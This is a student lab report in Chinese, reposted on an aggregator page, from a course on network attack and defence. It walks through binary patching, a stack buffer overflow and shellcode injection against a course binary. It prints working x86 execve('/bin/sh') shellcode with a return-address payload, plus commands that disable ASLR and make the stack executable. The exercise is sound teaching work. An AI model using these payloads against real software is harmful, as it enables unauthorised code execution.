20232319 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/10 16:44:56/文章来源:https://www.cnblogs.com/20232319hj/p/19132133

1.实验内容

  • 篡改程序流程——直接修改可执行文件,跳转至getShell;
  • 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
  • Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

2.实验过程

一、掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

  • NOP​​ 0x90 空操作指令,CPU不执行任何操作
  • ​​JNE​​ 0x75 不相等时跳转(ZF=0)
  • ​​JE​​ 0x74 相等时跳转(ZF=1)
  • ​​JMP​​ 0xEB(短跳) 0xE9(近跳) 无条件跳转指令
  • ​​CMP​​ 无固定值 比较指令,设置标志位

二、具体实验过程

(1)直接修改程序机器指令,改变程序执行流程

输入反汇编命令
objdump -d pwn1 | more

查看pwn文件
找到e8d7,编辑pwn文件,修改call指令的目标地址,保存后退出

修改pwn

修改成功后查看call指令是否调用getshell函数。发现成功调用

修改成功‘

运行代码,成功启动shell

启动shell

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

了解程序基本功能

屏幕截图 2025-10-09 223025

确认输入字符串哪几个字符会覆盖到返回地址

屏幕截图 2025-10-09 223958(1)

确认字节序之后,构造输入字符串并检查
使用16进制查看指令xxd查看input文件的内容

测试地址

运行文件,成功!

成功

(3)注入Shellcode并执行

注入前的系统设置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 
0

测试前的设置

使用gdb调试,寻找pwn文件的对应进程,图中显示进程号为32675

寻找进程

构造shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
进行注入测试,发现0x01020304,即可锁定shellcode的位置
0xffffd33c + 4 = 0xffffd340

定位shellcode

构造perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
随后注入,成功运行shell
(cat input_shellcode;cat) | ./pwn20232319
bof成功

3.问题及解决方案

  • 问题1:gdb输入c命令后无响应
  • 问题1解决方案:需要在另一个终端上按回车,程序才能继续执行

4.学习感悟、思考等

通过本次实验,我认识到了机器指令是小端序、使用补码表示的。
通过本次实验的三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode,使我对x86指令有了进一步的认识,同时也了解bof攻击的流程。此外,shellcode注入的难度相较于前两个更高,经过学习后也体会到了每一个步骤的作用。

参考资料

  • MAL_逆向与Bof基础

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934237.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年兽药厂家最新推荐榜:级企业技术专利与服务能力全景解析,养殖户选品权威指南

当前兽药行业正处于技术迭代与合规升级的关键期,养殖业对绿色无抗、精准高效兽药的需求日益迫切,但市场乱象仍存:部分产品有效成分不足、生产流程不合规,既影响养殖效益,更威胁食品安全。尤其近五年,一批具备创新…

2025 最新隔音板源头厂家口碑推荐榜:阻尼 / 聚酯纤维等全品类适配,资深企业与新锐品牌精选聚酯纤维/墙面/降噪/玻镁/顶部隔音板厂家推荐

随着建筑声学需求的升级,隔音板已成为住宅、医疗、商业等场景的刚需材料,但市场乱象却让选择愈发艰难。部分厂商以次充好,用劣质基材降低成本,导致隔音量不足行业标准 30% 以上,且甲醛超标问题频发;另有品牌缺乏…

Google play 内部测试流程

前往Google Play Console 创建Email List去Internal testing创建新的 release 创建过程不再赘述创建好之后去 Testers 页面 勾选之前的 Email List,并点击下面的 Copy Link 按钮在手机上打开刚刚复制的 Link (确保你…

软工第三次作业

软工第三次作业 - 结对编程 一、结对信息姓名1:伊尔番艾山 学号1:3123004762 姓名2:梁子恒 学号2:312300746 GitHub仓库:https://github.com/IrErV123/Primary-Math-Exercise-Generator二、PSP表格PSP2.1 Persona…

全球化部署几种方案

目录背景跨国混合部署的挑战商城和履约解耦的挑战定时任务。跨系统集成的复杂性。商城和中台分离的架构设计参考资料 背景 跨国混合部署的挑战系统和其他系统可能不在一个国家/地区。 比如把数据采集相关的服务部署到海…

10.WPF布局 - 实践

10.WPF布局 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Co…

066_尚硅谷_运算符优先级

066_尚硅谷_运算符优先级1.运算符优先级

基于MATLAB的路面裂缝检测识别

一、系统架构设计 1. 功能模块划分 graph TDA[图像采集] --> B[预处理模块]B --> C[裂缝检测引擎]C --> D[特征提取]D --> E[分类识别]E --> F[结果可视化]F --> G[数据存储] 2. 硬件配置建议模块 推…

HDU6794:Tokitsukaze and Multiple

实质上是最多能找到多少个连续子段和为 \(p\) 的倍数 太聪明了

当下环境通缩分析

📅 通缩的起点与当前态势 关于这次通缩周期的起点,根据多个宏观经济指标的表现,可以梳理出以下时间线:关键指标持续下行:本次通缩压力是逐步累积的结果。一个非常重要的观察点是生产者价格指数(PPI),它至2025…

使用qt读取系统字体库,并进行英文名称映射

映射函数:// 创建中文字体到英文名称的映射表 QMap<QString, QString> createFontMapping() {QMap<QString, QString> mapping;mapping[QString::fromLocal8Bit("宋体")] = "simsun.ttc&q…

gitlab配置aws的s3作为docker镜像的存储

编辑 /etc/gitlab/gitlab.rb 文件external_url http://192.168.60.118 registry_external_url http://192.168.60.118:5005 gitlab_rails[registry_enabled] = true gitlab_rails[registry_host] = "192.168.60.…

阿克曼函数

点击查看代码 #include <iostream> using namespace std; int ack(int x,int y) {if (x==0){return y + 1;}else if (x > 0 && y == 0){return ack(x - 1, 1);}else if (x > 0 && y > …

shell脚本监控ssl证书到期时间

一、需求 说明:(1)读取域名列表文件。(2)获取域名到期时间,进行告警后邮件提醒。 #!/bin/bash ## 第1步 配置文件 # 颜色定义 RED=\033[0;31m GREEN=\033[0;32m YELLOW=\033[1;33m BLUE=\033[0;34m PURPLE=\033…

AI如何通过卫星图像识别刺猬栖息地

剑桥大学研究人员利用卫星图像和机器学习技术,通过识别黑莓灌木丛来绘制刺猬潜在栖息地地图,为保护这种濒危物种提供创新解决方案。AI如何通过卫星图像识别刺猬栖息地 你不能从太空中直接发现刺猬,但通过寻找黑莓灌…

04-补充mybatis-plus的Service接口

04-补充mybatis-plus的Service接口$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");常用方法查询相关方法以前是我们自己实现的Service接口和方法先在mp给我们…

LeetCode热题100-75、跳跃游戏

LeetCode热题100-75、跳跃游戏给你一个非负整数数组 nums ,你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标,如果可以,返回 true ;否则,返回…

rust 模块和引用

rust的模块声明有两种方式: 1、mod.rs文件方式 在 2018 年后的版本中已逐渐被新的模块系统取代,Rust 官方文档中已删除对 mod.rs 的介绍,主要因为该功能在 Rust 1.30 版本后被新的模块命名约定替代。 目录结构为: …

moectf2025-reverse-wp

moectf2025-reverse-wp upx 壳是什么?upx是什么?upx可以用来干什么?用自己的upx脱壳 upx -d +文件地址然后就去ida里面编译但是找不到main函数 我们直接shift+F12查看字符串然后点进去鼠标移到这里 按X 然后定位到主…

国标GB28181网页直播平台EasyGBS如何构建智慧社区一体化视频监控方案?

国标GB28181网页直播平台EasyGBS如何构建智慧社区一体化视频监控方案?随着科技的飞速发展,智慧社区的概念逐渐深入人心。智慧社区旨在通过先进的信息技术手段,实现社区的智能化管理和服务,提升居民的生活质量和社区…